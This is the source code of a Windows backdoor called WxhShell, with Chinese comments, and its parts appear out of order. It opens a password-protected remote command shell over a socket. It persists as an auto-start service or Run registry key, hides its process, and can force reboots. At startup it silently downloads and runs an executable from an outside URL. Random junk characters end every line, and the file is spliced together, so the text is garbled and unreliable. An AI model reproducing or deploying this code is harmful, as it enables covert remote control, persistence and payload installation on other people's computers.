    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0<`qz |_h  
    else { BGibBF^  
    closesocket(wsh); H I|a88   
    ExitThread(0); a8T9=KY^  
    } cOP'ql{"  
    break; @3c'4O   
    } 5CK\Z'c~!  
  // 获取shell A_@..hX(  
  case 's': { ?Sh]kJ O  
    CmdShell(wsh); /W,hOv  
    closesocket(wsh); 0j!<eN=  
    ExitThread(0); _WWC8?6 U  
    break; 8wkhbD|;  
  } r[Pp[ g-J  
  // 退出 3\m !  
  case 'x': { Lld45Bayb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~>>_`;B  
    CloseIt(wsh); y p{Dl  
    break; 6t;;Fz  
    } q("XS  
  // 离开 $5G(_   
  case 'q': { j%'2^C8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^oPFLez56  
    closesocket(wsh); _=I1  
    WSACleanup(); 'hr_g* i  
    exit(1); n)5t!  
    break; apm%\dN  
        } m^L!_~  
  } :(US um  
  } ZskX!{  
Ne<S_u2nT  
  // 提示信息 ~2rQ80_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B`eK_'7t  
} 0a:oC(Ak  
  } &l2xh~L  
?X|q   
  return; {ax]t-ZwJ5  
} r*b+kSh  
9RlJf=Z#H  
// shell模块句柄 afX|R  
int CmdShell(SOCKET sock) ((]i}s0S  
{ [(*Eg!?W=  
STARTUPINFO si; Y(6ev o&IR  
ZeroMemory(&si,sizeof(si)); E}9wzPs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mF@7;dpr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Nxt:U{`T'  
PROCESS_INFORMATION ProcessInfo; _}p [(sTV  
char cmdline[]="cmd"; >+7{PF+sB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ] hK}ASC  
  return 0; %7mGMa/  
} n32"cFPpT  
_s@PL59,  
// 自身启动模式 '-A;B.GV%  
int StartFromService(void) 5XX)8gAo  
{ P0>2}/;o  
typedef struct +:^l|6%}  
{ 'v<v6vs  
  DWORD ExitStatus; tm5{h{AM  
  DWORD PebBaseAddress; rVP\F{Q4Tr  
  DWORD AffinityMask; 0e0)1;t\  
  DWORD BasePriority; H'#06zP>5  
  ULONG UniqueProcessId; h9 DUS,G9,  
  ULONG InheritedFromUniqueProcessId; {K+f& 75  
}   PROCESS_BASIC_INFORMATION; %]7 6u7b/  
K!\v ?WbF  
PROCNTQSIP NtQueryInformationProcess; t!3s@  
5B)&;[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1LS1 ZY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f$^wu~  
qZF&^pCF}  
  HANDLE             hProcess; b%MZfaU  
  PROCESS_BASIC_INFORMATION pbi; 6HBDs:   
py\:u5QS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Qqg.z-G%.  
  if(NULL == hInst ) return 0; }kQ{T:q4  
zB0*KgAn{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'A5T$JV.r4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d`rZgY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9NwUX h(:(  
`l'T/F \  
  if (!NtQueryInformationProcess) return 0; `PAQv+EYz  
t<fah3hl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [c=P)t7 V  
  if(!hProcess) return 0; :qxWANUa  
cdkEK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  &ox  
+pG+ xI  
  CloseHandle(hProcess); t[+bZUS$~  
"9'3mmZm=?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N{bg-%s10i  
if(hProcess==NULL) return 0; kiJ=C2'&  
&!4E3&+2m  
HMODULE hMod; @.E9 ml  
char procName[255]; swZi O_85  
unsigned long cbNeeded; >ymn&_zlT  
34Gu @"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^z!=,M<+{  
BA1H)%  
  CloseHandle(hProcess); n*$g1HG6  
/UK?&+1qE  
if(strstr(procName,"services")) return 1; // 以服务启动 \h3HaNC  
qvu1u GCc  
  return 0; // 注册表启动 y}oA!<#3  
} g]Y%c73  
k%gj  
// 主模块 TaSS) n  
int StartWxhshell(LPSTR lpCmdLine) OWrQKd  
{ ^vM6_=g2E%  
  SOCKET wsl; &,<,!j)Jr  
BOOL val=TRUE; RiAg:  
  int port=0; rfVQX<95=/  
  struct sockaddr_in door; |dEPy- Xe  
o_Z9\'u  
  if(wscfg.ws_autoins) Install(); ZqrS]i@$  
,gNZHKNq  
port=atoi(lpCmdLine); u-&V, *3l  
Kkovp^G  
if(port<=0) port=wscfg.ws_port; aHu0z:  
%XN;S29d5W  
  WSADATA data; -h7ssf'u[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]QR]#[Tn'  
QAx9W%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xP~GpVhLF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ds+K7B$  
  door.sin_family = AF_INET; \( V1-,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I,#E`)  
  door.sin_port = htons(port); i[9gcL"  
@,1_CqV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %T>@Ldt  
closesocket(wsl); +o4o!;E)  
return 1; J'|[-D-a  
} 4|&/# Cz^Y  
LE{@J0r#n  
  if(listen(wsl,2) == INVALID_SOCKET) { Sak^J.~G[  
closesocket(wsl); ;6R9k]5P%  
return 1; kJ"rRsK  
} kwUUvF7w  
  Wxhshell(wsl); 9Br+]F _i  
  WSACleanup(); g7?[}?]3"p  
8K 9HFT@yV  
return 0; w^8Q~ 3|7  
|sr\SCx  
} 9^g8VlQdT  
sx azl]  
// 以NT服务方式启动 !VIxEu^ke  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }iDRlE,  
{ C ibfuR  
DWORD   status = 0; Dti-*LB1  
  DWORD   specificError = 0xfffffff; PTe$dPB  
5P<1I7d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0vLx={i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1J1Jp|j.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *A!M0TK?i,  
  serviceStatus.dwWin32ExitCode     = 0; TJRp/BP  
  serviceStatus.dwServiceSpecificExitCode = 0; w uY-f4  
  serviceStatus.dwCheckPoint       = 0; :_i1gY)  
  serviceStatus.dwWaitHint       = 0; 5P #._Em  
T_2'=7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3(J>aQZuI  
  if (hServiceStatusHandle==0) return; vcy1itY  
5!9y nIC+>  
status = GetLastError(); )M Iw/  
  if (status!=NO_ERROR) HLz<C  
{ ha|2u(4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \mu';[gLd  
    serviceStatus.dwCheckPoint       = 0; vM5I2C3_>!  
    serviceStatus.dwWaitHint       = 0; p&Nav,9x  
    serviceStatus.dwWin32ExitCode     = status; +&"W:Le:  
    serviceStatus.dwServiceSpecificExitCode = specificError; z^gz kXx7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j,].88H  
    return; %LC)sSq{H  
  } [wSoZBl  
U7fpaxc-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hb~d4J=S  
  serviceStatus.dwCheckPoint       = 0; @>U9CL"  
  serviceStatus.dwWaitHint       = 0; wH@< 0lw`<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z\C"/j<y  
} a9lYX*:  
+Q_xY>ej  
// 处理NT服务事件,比如:启动、停止 +e>G V61  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "Vc|D (g  
{ bZWR. </  
switch(fdwControl) $/Wec,`&  
{ PC@H Nto{  
case SERVICE_CONTROL_STOP: @Z$fEG)9  
  serviceStatus.dwWin32ExitCode = 0; ! weYOOu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B YB9M  
  serviceStatus.dwCheckPoint   = 0; Ap\]v2G  
  serviceStatus.dwWaitHint     = 0; 3@eI? (N  
  { Kg2@]J9m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (AA@ sN  
  } :, H_ e! X  
  return; .Sw4{m[g  
case SERVICE_CONTROL_PAUSE: 5C*Zb3VG4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4V@0L  
  break; !#]kzS0  
case SERVICE_CONTROL_CONTINUE: vr47PM2al  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (.oDxs()I  
  break; vQXF$/S  
case SERVICE_CONTROL_INTERROGATE: ,agkV)H  
  break; Jt8M;Yk  
}; ^+~$eg&js  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y'f-4E<  
} "AJ>pU3  
hHw1<! M  
// 标准应用程序主函数 aAoAjVNkK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;/m>c{  
{ Y uZ  
S WsD]rn  
// 获取操作系统版本 9|>y[i  
OsIsNt=GetOsVer(); (ce)A,;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jj ` 0w@  
T2W^4)  
  // 从命令行安装 7je1vNs  
  if(strpbrk(lpCmdLine,"iI")) Install(); T;3~teVYB  
c?xeBC1-  
  // 下载执行文件 J=^5GfM)J  
if(wscfg.ws_downexe) { ND9;%<80  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tvzO)&)$  
  WinExec(wscfg.ws_filenam,SW_HIDE); _jkJw2+s\  
} *X|%H-Q:H`  
.q]K:}9!\  
if(!OsIsNt) { FGwgSrXL7  
// 如果时win9x,隐藏进程并且设置为注册表启动 IMSm  
HideProc(); QKz2ONV=)  
StartWxhshell(lpCmdLine); $\4Or  
} z5:3.+M5  
else E.VEW;=  
  if(StartFromService()) ,,9vk\  
  // 以服务方式启动 %u|Qh/?7  
  StartServiceCtrlDispatcher(DispatchTable); Z#%77!3  
else )Knsy  
  // 普通方式启动 qj*BV  
  StartWxhshell(lpCmdLine); jq/{|<0  
&xlOsr/n  
return 0; YRl4?}r2  
} v Ma$JPauI  
wL0"1Ya  
Dhg/>@tw  
Eh_[8:dK  
=========================================== _x#r,1V+D  
i3Nt?FSN  
+xmZK<{<  
0XIrEwm@%  
kr1^`>O5  
yNx"Ey dk`  
" XnvaT(k7Y  
x~yd/ R  
#include <stdio.h> +fIy eX  
#include <string.h> S 1Ji\  
#include <windows.h> L?y,xA_  
#include <winsock2.h>  [7)#3  
#include <winsvc.h> wVs|mG"  
#include <urlmon.h>  -gS/  
pk=z<OTb  
#pragma comment (lib, "Ws2_32.lib") M[T!AO-S$  
#pragma comment (lib, "urlmon.lib") z#&qWO  
inGH'nl_  
#define MAX_USER   100 // 最大客户端连接数 ~u-`L+G"6  
#define BUF_SOCK   200 // sock buffer s3T 6"%S`  
#define KEY_BUFF   255 // 输入 buffer \@n/L{}(@  
e''Wm.>g(+  
#define REBOOT     0   // 重启 ':]w  
#define SHUTDOWN   1   // 关机 !lB,2_  
9=~jKl%\vJ  
#define DEF_PORT   5000 // 监听端口 )=D9L  
7 ~ Bo*UM  
#define REG_LEN     16   // 注册表键长度 wY}+d0Ch  
#define SVC_LEN     80   // NT服务名长度 Ki@8  
X4*/h$48 w  
// 从dll定义API C[$<7Mi|;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Nb{oH+$b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qm}7w3I^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1-gX=8]]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C{S6Ri  
ma* 9O |v^  
// wxhshell配置信息 4';['  
struct WSCFG { kQBVx8Uq]  
  int ws_port;         // 监听端口 1r w>gR  
  char ws_passstr[REG_LEN]; // 口令 qOa-@MN  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~GY;{  
  char ws_regname[REG_LEN]; // 注册表键名 IWpUbD|kC  
  char ws_svcname[REG_LEN]; // 服务名 ^jhHaN]G^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7y`~T+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bmddh2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]X _&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f%auz4CZz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m :^,qC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ox43(S0~  
86} rz  
}; ;j_#,Da9<  
QU4'x4YS  
// default Wxhshell configuration #6m//0 u  
struct WSCFG wscfg={DEF_PORT, s^v,i CH {  
    "xuhuanlingzhe", "|&*MjwN6  
    1, B'0Il"g'  
    "Wxhshell", < ?nr"V  
    "Wxhshell", SI(8.$1  
            "WxhShell Service", )*JTxMQ  
    "Wrsky Windows CmdShell Service", %yrP: fg/  
    "Please Input Your Password: ", jKQP0 t-  
  1, :{6[U=O  
  "http://www.wrsky.com/wxhshell.exe", 5Q'R5]?h  
  "Wxhshell.exe" =UP)b9*h  
    }; nb!m>0*/  
CUd'*Ewu  
// 消息定义模块 V7v,)a" L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |3cR'|<Ual  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )T+htD)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J\0YL\jw1K  
char *msg_ws_ext="\n\rExit."; y@z #Jw<  
char *msg_ws_end="\n\rQuit."; ^b.J z}  
char *msg_ws_boot="\n\rReboot..."; \5l}5<|  
char *msg_ws_poff="\n\rShutdown..."; TPzoU" qh  
char *msg_ws_down="\n\rSave to "; /kq~*s  
?d%}K76V<  
char *msg_ws_err="\n\rErr!"; ixkg,  
char *msg_ws_ok="\n\rOK!"; 0nd<6S+fs  
MLb\:Ihy  
char ExeFile[MAX_PATH]; 0nuFWV  
int nUser = 0; A,/S/_Q=  
HANDLE handles[MAX_USER]; x"d*[m  
int OsIsNt; j)5Vv K\  
zBR]bk\  
SERVICE_STATUS       serviceStatus; +$'/!vN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (^4%Fk&I-  
7> QtO  
// 函数声明 5-QXvw(TH  
int Install(void); ~!OjdE!u  
int Uninstall(void); U#P#YpD;==  
int DownloadFile(char *sURL, SOCKET wsh); y%y#Pb |  
int Boot(int flag); ij),DbWd  
void HideProc(void); G#*;3X$  
int GetOsVer(void); 6bn-NY:i  
int Wxhshell(SOCKET wsl);  x1et,&,  
void TalkWithClient(void *cs); G# C)]4[n  
int CmdShell(SOCKET sock); hU{%x#8}lK  
int StartFromService(void); EKf4f^<  
int StartWxhshell(LPSTR lpCmdLine); k4P.}SJ?  
:[&X*bw[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /_|1,x-Kx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?~{xL"  
^b#E%Rd  
// 数据结构和表定义 ]=3O,\  
SERVICE_TABLE_ENTRY DispatchTable[] = 2S4z$(x3  
{ V_QVLW  
{wscfg.ws_svcname, NTServiceMain}, k|D!0^HE[  
{NULL, NULL} VGq]id{*$  
}; .wSAysiQ|P  
v> 5F[0gE  
// 自我安装 1d"P) 3dQ  
int Install(void) sFTIRVXN,  
{ Y(f-e,  
  char svExeFile[MAX_PATH]; xd3  
  HKEY key; 2o/`8+eJu  
  strcpy(svExeFile,ExeFile); Fqv5WoYVf  
F8I <4S  
// 如果是win9x系统,修改注册表设为自启动 @n(In$  
if(!OsIsNt) { ^q` *!B 9@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vmc)or*#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZJ(!jc$"*%  
  RegCloseKey(key); aBnbu vp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ccSSa u5N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v#FUD-Z  
  RegCloseKey(key); C(t/:?(y  
  return 0; #`$7$Y~]  
    } Xn=fLb(  
  } K;l'IN"N  
} :S12=sFl$  
else { ?+\,a+46P_  
7fqYSMHR  
// 如果是NT以上系统,安装为系统服务 Dhoj|lc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I1~g?jpH  
if (schSCManager!=0) bRK9Qt#3  
{ Tjqn::~D  
  SC_HANDLE schService = CreateService bph*X{lFK  
  ( \t@`]QzG:  
  schSCManager, UJ[a& b  
  wscfg.ws_svcname, $EIkk= z  
  wscfg.ws_svcdisp, D,/9rH  
  SERVICE_ALL_ACCESS, A2d2V**Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g OM`I+CwT  
  SERVICE_AUTO_START, pS;dvZ  
  SERVICE_ERROR_NORMAL, D.b<I79bX  
  svExeFile, 0 y%R  
  NULL, MVdx5,t  
  NULL, :N}KScS|Wa  
  NULL, eZi<C}z  
  NULL, (&,R1dLo  
  NULL .)w0C%]  
  ); )[*O^bPowI  
  if (schService!=0) \irjIXtV  
  { F948%?a  
  CloseServiceHandle(schService); 4#q JX)/  
  CloseServiceHandle(schSCManager); N sL"p2w~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uw!|G>  
  strcat(svExeFile,wscfg.ws_svcname); "S:N- Tf%U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8A.7=C' z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'wrpW#  
  RegCloseKey(key); tqCg<NH.!m  
  return 0; [@Y q^.6t  
    } C6~dN& q  
  } /p0LtUMu  
  CloseServiceHandle(schSCManager); us%RQ8=k  
} zQ}N mlk  
} CaBS0' n  
%LHV0u  
return 1; rbbuSI  
} [i7)E]*oTA  
sEyl\GL  
// 自我卸载 +hgCk87%#  
int Uninstall(void) <v k$eB8EC  
{ Ai18]QD-  
  HKEY key;  u$8MVP  
Cl!jK^AbG  
if(!OsIsNt) { wt S*w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,&] ` b#Rc  
  RegDeleteValue(key,wscfg.ws_regname); V JL;+  
  RegCloseKey(key); W2h[NimU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l$_rA~Mo  
  RegDeleteValue(key,wscfg.ws_regname); z&,sm5Lb  
  RegCloseKey(key); Po. BcytM  
  return 0; \r,. hUp  
  } $:II @=  
} M) XQi/  
} m?$G(E5  
else { PSS/JFZ^  
!p2,|6Y`y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D(U3zXdO  
if (schSCManager!=0) @(fY4]K  
{ ilpZ/Rs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P%HyIODS  
  if (schService!=0) e~]e9-L>I  
  { }yDq\5s Q[  
  if(DeleteService(schService)!=0) { v:1Vli.  
  CloseServiceHandle(schService); 9mphj)`d;#  
  CloseServiceHandle(schSCManager); _C=[bI@  
  return 0; >0#q!H,X  
  } arVf"3a  
  CloseServiceHandle(schService); _)2TLA n3  
  } >Eg. c  
  CloseServiceHandle(schSCManager); hp V /F  
} }A/&]1GWk  
} G;c0  
6RQCKN)  
return 1; k+GnF00N^8  
} 9XvM%aHs:  
7Sq{A@ ET  
// 从指定url下载文件 +{!t~BW  
int DownloadFile(char *sURL, SOCKET wsh) c G!2Iy~lA  
{ ]f-'A>MC  
  HRESULT hr; 00a<(sS;  
char seps[]= "/"; #'J7Wy  
char *token; C+m^Z[  
char *file; f?^Oy!1]  
char myURL[MAX_PATH]; y"p-8RVk{  
char myFILE[MAX_PATH]; PFgjWp"Y  
l'". }6S  
strcpy(myURL,sURL); 42wC."A  
  token=strtok(myURL,seps);  >E ;o"  
  while(token!=NULL) edk9Qd9  
  { 8;f<qu|w  
    file=token; PG[O?l  
  token=strtok(NULL,seps); {)9HS~e T  
  } @<TZH  
RdvTtXg  
GetCurrentDirectory(MAX_PATH,myFILE); 6ri?y=-c  
strcat(myFILE, "\\"); X3L[y\  
strcat(myFILE, file); m3Z}eC8LK  
  send(wsh,myFILE,strlen(myFILE),0); X8n/XG~_  
send(wsh,"...",3,0); ^I~T$YjC '  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); exEld  
  if(hr==S_OK) G^@Jgx3n  
return 0; ?WtG|w  
else  zn;Hs]G  
return 1; HT=Am  
Yn]y d1  
} P| P fG=  
( WtE`f;Q  
// 系统电源模块 _6S b.9m  
int Boot(int flag) `e'o~ oSu  
{ .O%1)p  
  HANDLE hToken; CSqb)\8Oi*  
  TOKEN_PRIVILEGES tkp; q '{<c3&  
/0&:Yp=>  
  if(OsIsNt) { r,@X>_}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2G}7R5``9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4[CBW  
    tkp.PrivilegeCount = 1; <Bb<?7q$ld  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n5* {hi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Fp6[W5>(-  
if(flag==REBOOT) { +'Y( V&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +;wqX]SD&  
  return 0; 0H&U=9'YT  
} XvkI +c  
else { d7tD|[(J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o- QG& ]  
  return 0; K!D!b'|bb  
} Pzm!`F^r}  
  } R{xyme@"^  
  else { qwNKRqT  
if(flag==REBOOT) { NuS|X   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r~G]2*3  
  return 0; h[ZN >T  
} A;WwS?fyQ  
else { &;h~JS=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p1VahjRE-  
  return 0; 1s}NQ3  
} CX ]\Q-y  
} & kjwIg{  
fzFvfMAU  
return 1; R4~zL!7;  
} JfP\7  
@+\S!o3m  
// win9x进程隐藏模块 8}?Y;>s\  
void HideProc(void) )lDIzLp  
{ p-'6_\F.Ke  
NzeI/f3K5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y:"v=EhB  
  if ( hKernel != NULL ) ]D) 'I`  
  { _z(5e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ad`[Rt']kI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B`?N0t%X  
    FreeLibrary(hKernel); rv%ye H  
  } C=dx4U~   
*n*N|6 +  
return; C/CfjRzd  
} >St. &#c  
{ p!_-sL  
// 获取操作系统版本 "^9[OgE:  
int GetOsVer(void) C?[a3rNH(  
{ B|Fl ,55  
  OSVERSIONINFO winfo; uO ?Od  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]<8B-D?Z  
  GetVersionEx(&winfo); 8NaL{j1`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zmB31' _  
  return 1; FI1THzW4J  
  else [:nx);\  
  return 0; >k&8el6h  
} Q$|^~  
|-(IJG#)  
// 客户端句柄模块 jJ*@5?A  
int Wxhshell(SOCKET wsl) XdGpW  
{ z29qARiX  
  SOCKET wsh; $Wr\ [P:  
  struct sockaddr_in client; t_I\P.aMA  
  DWORD myID; 1jH7<%y  
I #M%%5e  
  while(nUser<MAX_USER) "K|)<6J  
{ @,x_i8  
  int nSize=sizeof(client); 6%gB E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p{ @CoOn  
  if(wsh==INVALID_SOCKET) return 1; mVv\bl?<  
G}!7tU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MvFM ,  
if(handles[nUser]==0) J$#h( D%  
  closesocket(wsh); &jV9*  
else ?~"`^|d  
  nUser++; ^w:OS5%R  
  } 0W T#6D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *M> iZO*@  
JcTp(fnW.~  
  return 0; vix&E`0yD  
} 0PnD|]9:  
2qZa9^}  
// 关闭 socket 3[0w+{ (Q  
void CloseIt(SOCKET wsh) Yz&*PPx  
{ QU^/[75Ea0  
closesocket(wsh); xab]q$n]k  
nUser--; 87QZun%  
ExitThread(0); ="uKWt6n'  
} V I6\   
M"=8O>NZ2  
// 客户端请求句柄 $hG;2v  
void TalkWithClient(void *cs) I86e&"40  
{ 'oz hz2s  
^ckj3Y#;  
  SOCKET wsh=(SOCKET)cs; Yv)Bj  
  char pwd[SVC_LEN]; yWj9EHQU[  
  char cmd[KEY_BUFF]; T)WZ_bR  
char chr[1]; i(Ip(n  
int i,j; JN9^fR09G  
Xzl KP;r0  
  while (nUser < MAX_USER) { I2TD.wuIW  
mD9STuA$H  
if(wscfg.ws_passstr) { 79)A%@YHQQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )46 0 Ed  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rkxW UDl   
  //ZeroMemory(pwd,KEY_BUFF); :{[<g](  
      i=0; u5Qp/ag?N  
  while(i<SVC_LEN) { 5^)?mA  
#v.L$7O  
  // 设置超时 \'n$&PFe  
  fd_set FdRead;  MKU7fFN.  
  struct timeval TimeOut; u-m%=2  
  FD_ZERO(&FdRead); 'oleB_B  
  FD_SET(wsh,&FdRead); B|cA[  
  TimeOut.tv_sec=8; \Ut6;  
  TimeOut.tv_usec=0; wA?@v|,dZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nIfN"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'UY[ap  
]EB6+x!G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 12idM*  
  pwd=chr[0];  ?qk@cKS  
  if(chr[0]==0xd || chr[0]==0xa) { :3JCvrq  
  pwd=0; n vm^k  
  break; mO#I nTO  
  } }l~]b3@qu  
  i++; %$Aqbd  
    } t,RyeS/  
sz'p3  
  // 如果是非法用户,关闭 socket q1H=/[a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 53B.2 4Tm  
} S[v Rw]*  
+H7y/#e+3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g^1r0.Sp{8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j5kA^MTG  
^w>&?A'!  
while(1) { Ig<}dM.Z[  
'<TD6jBs  
  ZeroMemory(cmd,KEY_BUFF); 9oEpPL5  
|Eb&}m:E$  
      // 自动支持客户端 telnet标准   brntE:  
  j=0; ~%`EeJwT  
  while(j<KEY_BUFF) { |VK:2p^ u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |V lMma z  
  cmd[j]=chr[0]; 8=:A/47=J  
  if(chr[0]==0xa || chr[0]==0xd) { AWO0NWTB  
  cmd[j]=0; PC|'yAN:  
  break; h-7A9:  
  } 't7Z] G  
  j++; qk&gA}qF  
    } [6H}/_nD  
]3}feU+  
  // 下载文件 bZ/ hgqS  
  if(strstr(cmd,"http://")) { h0|[etaf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V{!lk]p}a  
  if(DownloadFile(cmd,wsh)) TZ'aNcGg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f3 !n$lj  
  else V"O 9n[|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H.:9:I[n  
  } cv= \g Z  
  else { zhX;6= X2  
7{-@}j`  
    switch(cmd[0]) { W,Ty=:qm*  
  _ \l HI  
